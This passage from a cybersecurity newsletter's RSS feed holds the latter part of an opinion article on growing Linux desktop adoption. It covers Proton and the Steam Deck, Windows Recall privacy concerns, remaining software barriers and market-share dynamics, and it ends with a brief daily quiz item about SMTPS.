lower RAM usage, lower CPU overhead at idle, and faster boot times on identical hardware. This is the kind of difference you feel daily on a mid-range machine.</p><p>The effect is most pronounced on AMD hardware, which has particularly strong open-source driver support on Linux. AMD&#8217;s GPU and APU drivers are developed in close collaboration with the Linux kernel community, ensuring a tightly integrated, well-optimised driver stack. On a machine with an AMD Ryzen processor and Radeon graphics, Linux isn&#8217;t just lighter; it can match or even surpass Windows in raw performance workloads. The Steam Deck benchmarks are illustrative: when LTT tested SteamOS against Windows 10 on the Deck&#8217;s AMD APU hardware, SteamOS outperformed Windows in all three games tested, hitting 34fps versus 19fps in Hitman 3 and 60fps versus 47fps in Doom Eternal.</p><p>For users with older hardware that can&#8217;t meet Windows 11&#8217;s TPM 2.0 requirement, this performance advantage is even more compelling. A five-year-old machine that Windows has effectively abandoned can often feel noticeably faster running a modern Linux distribution than it did running Windows 10. That&#8217;s a powerful argument for anyone facing the choice between buying new hardware to run Windows 11 or simply installing Linux on what they already own.</p><h3><strong>Valve&#8217;s Trojan Horse</strong></h3><p>On the gaming side, Valve&#8217;s quiet, multi-year project to make Linux a first-class gaming platform. The Steam Deck, launched in 2022, shipped approximately <strong>5.6 million units by mid-2025</strong> and runs SteamOS, an Arch Linux-based OS, out of the box. Every Steam Deck is essentially a Linux desktop in someone&#8217;s hands, often belonging to someone who has never considered operating systems before. But more important than the hardware is the software. <strong><a href="https://en.wikipedia.org/wiki/Proton_(software)">Proton</a></strong>, Valve&#8217;s compatibility layer, now supports around <strong>90% of Windows games to run on Linux</strong> without any changes. The Deck Verified programme has approved over 21,000 games for SteamOS. Proton 10.0 was released in 2025 with VKD3D-Proton 3.0 support, introducing AMD FSR 4 and substantial improvements to the shader backend. The main remaining obstacle to online multiplayer games with kernel-level anti-cheat systems (EAC, BattlEye) is being reduced but not yet removed.</p><p>In 2025, Valve also expanded official SteamOS support to third-party handhelds, including the Lenovo Legion Go S and ASUS ROG Ally, and announced the upcoming Steam Machine and Steam Frame. SteamOS is no longer just for the Steam Deck. Valve is gradually developing a Linux gaming ecosystem that features a level of vertical integration and refinement that Linux gaming has not experienced before.</p><div><hr></div><h2><strong>The Security Aspect</strong></h2><p><a href="https://en.wikipedia.org/wiki/Windows_Recall">Windows Recall</a>&#8217;s fundamental architecture is a continuously running screenshot service that OCRs and indexes your screen, alarming security researchers not because the implementation was flawed (though it was), but because the concept creates a single, searchable database of everything you&#8217;ve ever done on your machine. Even after Microsoft&#8217;s revisions, the feature remains a soft target for any malware that achieves local code execution. The attack surface is obvious: compromise the process, gain access to months of screen history. More broadly, Windows 11&#8217;s increasing cloud dependency, with AI features that require data transmission to Microsoft&#8217;s servers to function, creates data exposure vectors that simply don&#8217;t exist on a locally-running Linux install.</p><p>For security-conscious users, developers, and professionals handling sensitive data, the control and transparency of a Linux environment have always had appeal. The difference now is that the cost of switching is dramatically lower than it was five years ago. The growing adoption of Linux among developers (nearly 28% on Ubuntu for personal use) has a downstream security benefit: more tooling, better documentation, and shorter paths from security research to actionable knowledge all flow from having a large and active Linux desktop user base.</p><div><hr></div><h2><strong>The Remaining Barriers</strong></h2><p>None of this means Linux is about to replace Windows. Let&#8217;s be clear about what&#8217;s still not solved. <strong>Anti-cheat</strong> is the largest gaming blocker. Titles using kernel-level anti-cheat on EasyAntiCheat or BattlEye require explicit developer opt-in for Proton support. Popular competitive games, such as Valorant, PUBG in some configurations, and some Call of Duty titles, remain inaccessible on Linux. For competitive gamers, this is a dealbreaker.</p><p><strong>Software compatibility</strong> still has gaps. Adobe Creative Suite has no native Linux support. The Microsoft Office ecosystem, while accessible via web apps and wine/compatibility layers, isn&#8217;t seamless for power users. For users in creative fields such as video editing, design, photography, and audio engineering, the software gap is significant enough that many won&#8217;t be moving to Linux at all. They&#8217;ll be heading to macOS. And in 2025, that switch became more economically viable than it has been in years. While tariffs on electronics raised initial costs, the fast expansion of AI data centres created additional pricing pressure by redirecting memory and advanced components away from consumer supply chains. This combination led many PC manufacturers to increase their prices, but Apple was positioned differently.</p><p>The company had negotiated long-term supply agreements with component manufacturers, diversified its supply chain aggressively into India (for iPhones) and Vietnam (for Macs and iPads), and used its enormous purchasing leverage to absorb costs competitors couldn&#8217;t. The result: Apple actually <em>cut</em> the price of the M4 MacBook Air by $100 at a time when comparable Windows laptops were getting more expensive. For a video editor or designer weighing a Mac against a Windows machine, the historical &#8216;Macs are too expensive&#8217; argument simply carries less weight when the price gap narrows. Not to mention that Apple Silicon Macs offer exceptional performance, battery life, and security posture.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!HOkI!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5684efd-a75c-4db4-86a4-6e4077476019_1100x906.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!HOkI!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5684efd-a75c-4db4-86a4-6e4077476019_1100x906.png 424w, https://substackcdn.com/image/fetch/$s_!HOkI!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5684efd-a75c-4db4-86a4-6e4077476019_1100x906.png 848w, https://substackcdn.com/image/fetch/$s_!HOkI!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5684efd-a75c-4db4-86a4-6e4077476019_1100x906.png 1272w, https://substackcdn.com/image/fetch/$s_!HOkI!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5684efd-a75c-4db4-86a4-6e4077476019_1100x906.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!HOkI!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5684efd-a75c-4db4-86a4-6e4077476019_1100x906.png" width="508" height="418.40727272727275" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e5684efd-a75c-4db4-86a4-6e4077476019_1100x906.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:906,&quot;width&quot;:1100,&quot;resizeWidth&quot;:508,&quot;bytes&quot;:80412,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://emilianocybersec.substack.com/i/188885383?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5684efd-a75c-4db4-86a4-6e4077476019_1100x906.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!HOkI!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5684efd-a75c-4db4-86a4-6e4077476019_1100x906.png 424w, https://substackcdn.com/image/fetch/$s_!HOkI!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5684efd-a75c-4db4-86a4-6e4077476019_1100x906.png 848w, https://substackcdn.com/image/fetch/$s_!HOkI!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5684efd-a75c-4db4-86a4-6e4077476019_1100x906.png 1272w, https://substackcdn.com/image/fetch/$s_!HOkI!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5684efd-a75c-4db4-86a4-6e4077476019_1100x906.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>That said, the Linux software landscape is better for creative work than its reputation suggests. <strong>DaVinci Resolve</strong>, Blackmagic&#8217;s professional video editor used across film and television production, runs natively on Linux and is competitive with, arguably superior to, Premiere Pro in many workflows. <strong>Blender</strong>, the 3D creation suite used in professional VFX pipelines, is Linux-native and has seen rapid growth. <strong>Kdenlive</strong>, <strong>Audacity</strong>, <strong>GIMP</strong>, and the broader open-source creative stack are increasingly viable options for users who don&#8217;t already depend on Adobe. The honest story is that someone starting fresh in a creative field today has more Linux-compatible options than they did five years ago, but someone already embedded in the Adobe ecosystem has a much steeper switching cost.</p><p><strong>Hardware driver support</strong> has improved significantly, but it isn&#8217;t universal. NVIDIA&#8217;s proprietary drivers have improved on Linux but remain more complex to configure than on Windows. Peripheral support, especially gaming peripherals, can require workarounds.</p><div><hr></div><h2><strong>The <a href="https://en.wikipedia.org/wiki/Ouroboros#:~:text=The%20ouroboros%20(/%CB%8C%CA%8A%C9%99r%C9%99,been%20known%20to%20consume%20themselves.">Ouroboros</a> Problem And Why It Might Finally Be Breaking</strong></h2><p>There&#8217;s a structural argument that has kept Linux stuck for decades, and it&#8217;s worth naming directly because it&#8217;s the real mountain Linux needs to climb. The problem is a classic adoption loop: developers don&#8217;t build for Linux because Linux has too small a market share to justify the engineering cost. But Linux has too small a market share, partly because users who want to switch can&#8217;t find the tools they need there. The platform stays small because it&#8217;s small. Every time someone evaluated Linux seriously and found their industry software missing, their game incompatible, or their professional workflow unsupported, they went back to Windows, and the market share number stayed low enough that developers never had a reason to reconsider. This is the same dynamic that kept Linux gaming irrelevant for years. Why would studios port to Linux when Linux users accounted for only 1% of Steam users? And why would users switch to Linux when their games didn&#8217;t run there?</p><p>Valve broke that cycle in gaming by artificially solving the supply side with Proton, meaning developers didn&#8217;t need to do anything, and compatibility was still achieved. That&#8217;s a meaningful proof of concept. But for productivity software, enterprise tooling, and professional creative applications, there&#8217;s no equivalent compatibility layer that makes Adobe just work. The only thing that changes the calculus for those developers is market share.</p><p>This is exactly why the current growth moment matters more than the raw 4.7% number suggests. There&#8217;s a threshold somewhere between 5% and 10% of the desktop market share at which Linux stops being a rounding error and becomes a segment developers have to consciously decide to ignore. At 1-2%, ignoring Linux was the obvious default. At 5% and rising rapidly, it becomes a decision that requires justification. At 8-10%, it starts costing companies real money. The Steam data is instructive here. Once Linux gaming crossed 3% on Steam, the conversation in game development communities visibly shifted from &#8216;should we support Linux&#8217; to &#8216;can we afford not to?&#8217; Valve&#8217;s Deck Verified program created commercial pressure: a game without Deck certification is less visible in Steam&#8217;s storefront. That&#8217;s the market mechanism working.</p><p>The same logic will eventually apply to productivity software. If Linux desktop share reaches 6-8%, which current trajectories suggest is possible by 2027, the calculation for software vendors changes. Companies like Adobe, Autodesk, and others have already built cross-platform infrastructure for macOS support. The marginal engineering cost to extend that to Linux is lower than it was when their entire stack was Windows-native. What&#8217;s been missing is the demand signal. More users switching to Linux creates that signal, which attracts more software, which makes Linux a more viable destination for the next wave of switchers. The loop can run in reverse. It&#8217;s not guaranteed, and it won&#8217;t be fast. But for the first time in Linux&#8217;s desktop history, the growth rate is high enough that the question of critical mass is no longer purely hypothetical.</p><h2><strong>So, Is This Actually It?</strong></h2><p>The data argues something more nuanced than &#8216;the joke is dead&#8217; or &#8216;the joke lives on&#8217;. Linux desktop adoption is driven by a combination of genuine platform improvements and an unusually severe push from Windows. The US crossing 5% is meaningful, not because 5% is a world-conquering number, but because the growth rate to get there is unlike anything in Linux&#8217;s desktop history. What&#8217;s also different this time is the quality of growth. The Steam survey data showing SteamOS declining as a share of Linux gamers while desktop distributions rise suggests this isn&#8217;t just the Steam Deck inflate-the-numbers effect. People are choosing to install Linux on their machines. Developer adoption is creating an ecosystem effect: better documentation, more compatible software, and more hardware vendor attention.</p><p>The more useful question than &#8216;is this the year&#8217; is whether Linux has passed a threshold at which its growth becomes self-sustaining, where the installed base is large enough to attract software developers, hardware vendors, and enterprise support that, in turn, attract more users. The joke may not be dead. But it might be closer to a retirement announcement than a punchline.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!O0JT!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c4d3d20-26c2-499f-abc6-bbc5ebe32f40_1024x608.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!O0JT!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c4d3d20-26c2-499f-abc6-bbc5ebe32f40_1024x608.jpeg 424w, https://substackcdn.com/image/fetch/$s_!O0JT!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c4d3d20-26c2-499f-abc6-bbc5ebe32f40_1024x608.jpeg 848w, https://substackcdn.com/image/fetch/$s_!O0JT!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c4d3d20-26c2-499f-abc6-bbc5ebe32f40_1024x608.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!O0JT!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c4d3d20-26c2-499f-abc6-bbc5ebe32f40_1024x608.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!O0JT!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c4d3d20-26c2-499f-abc6-bbc5ebe32f40_1024x608.jpeg" width="320" height="190" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3c4d3d20-26c2-499f-abc6-bbc5ebe32f40_1024x608.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:608,&quot;width&quot;:1024,&quot;resizeWidth&quot;:320,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!O0JT!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c4d3d20-26c2-499f-abc6-bbc5ebe32f40_1024x608.jpeg 424w, https://substackcdn.com/image/fetch/$s_!O0JT!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c4d3d20-26c2-499f-abc6-bbc5ebe32f40_1024x608.jpeg 848w, https://substackcdn.com/image/fetch/$s_!O0JT!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c4d3d20-26c2-499f-abc6-bbc5ebe32f40_1024x608.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!O0JT!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c4d3d20-26c2-499f-abc6-bbc5ebe32f40_1024x608.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><div><hr></div><p><em>Data sources: StatCounter Global Stats, US Digital Analytics Program, Steam Hardware &amp; Software Survey (Valve), Stack Overflow Developer Survey 2025, Bitsight, Zorin OS, NotebookCheck, WindowsCentral, WindowsLatest, GamingOnLinux</em></p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://emilianocybersec.substack.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading Cyber++! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[Daily Cyber Quiz]]></title><description><![CDATA[Answer revealed tomorrow...]]></description><link>https://emilianocybersec.substack.com/p/daily-cyber-quiz-30b</link><guid isPermaLink="false">https://emilianocybersec.substack.com/p/daily-cyber-quiz-30b</guid><dc:creator><![CDATA[Emiliano L. Compassi]]></dc:creator><pubDate>Mon, 23 Feb 2026 14:02:50 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/ce2d80a0-80c6-4b78-a1e2-e23f1489db44_5760x3840.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="poll-embed" data-attrs="{&quot;id&quot;:453823}" data-component-name="PollToDOM"></div><p>Yesterday&#8217;s Answer: SMTPS (Simple Mail Transfer Protocol Secure)</p><ul><li><p>SMTPS uses SSL/TLS (Secure Sockets Layer/Transport Layer Security) to encrypt communication between the email client and server.</p><p></p></li></ul><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://emilianocybersec.substack.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://emilianocybersec.substack.com/subscribe?"><span>Subscribe now</span></a></p><p></p>]]></content:encoded></item></channel></rss>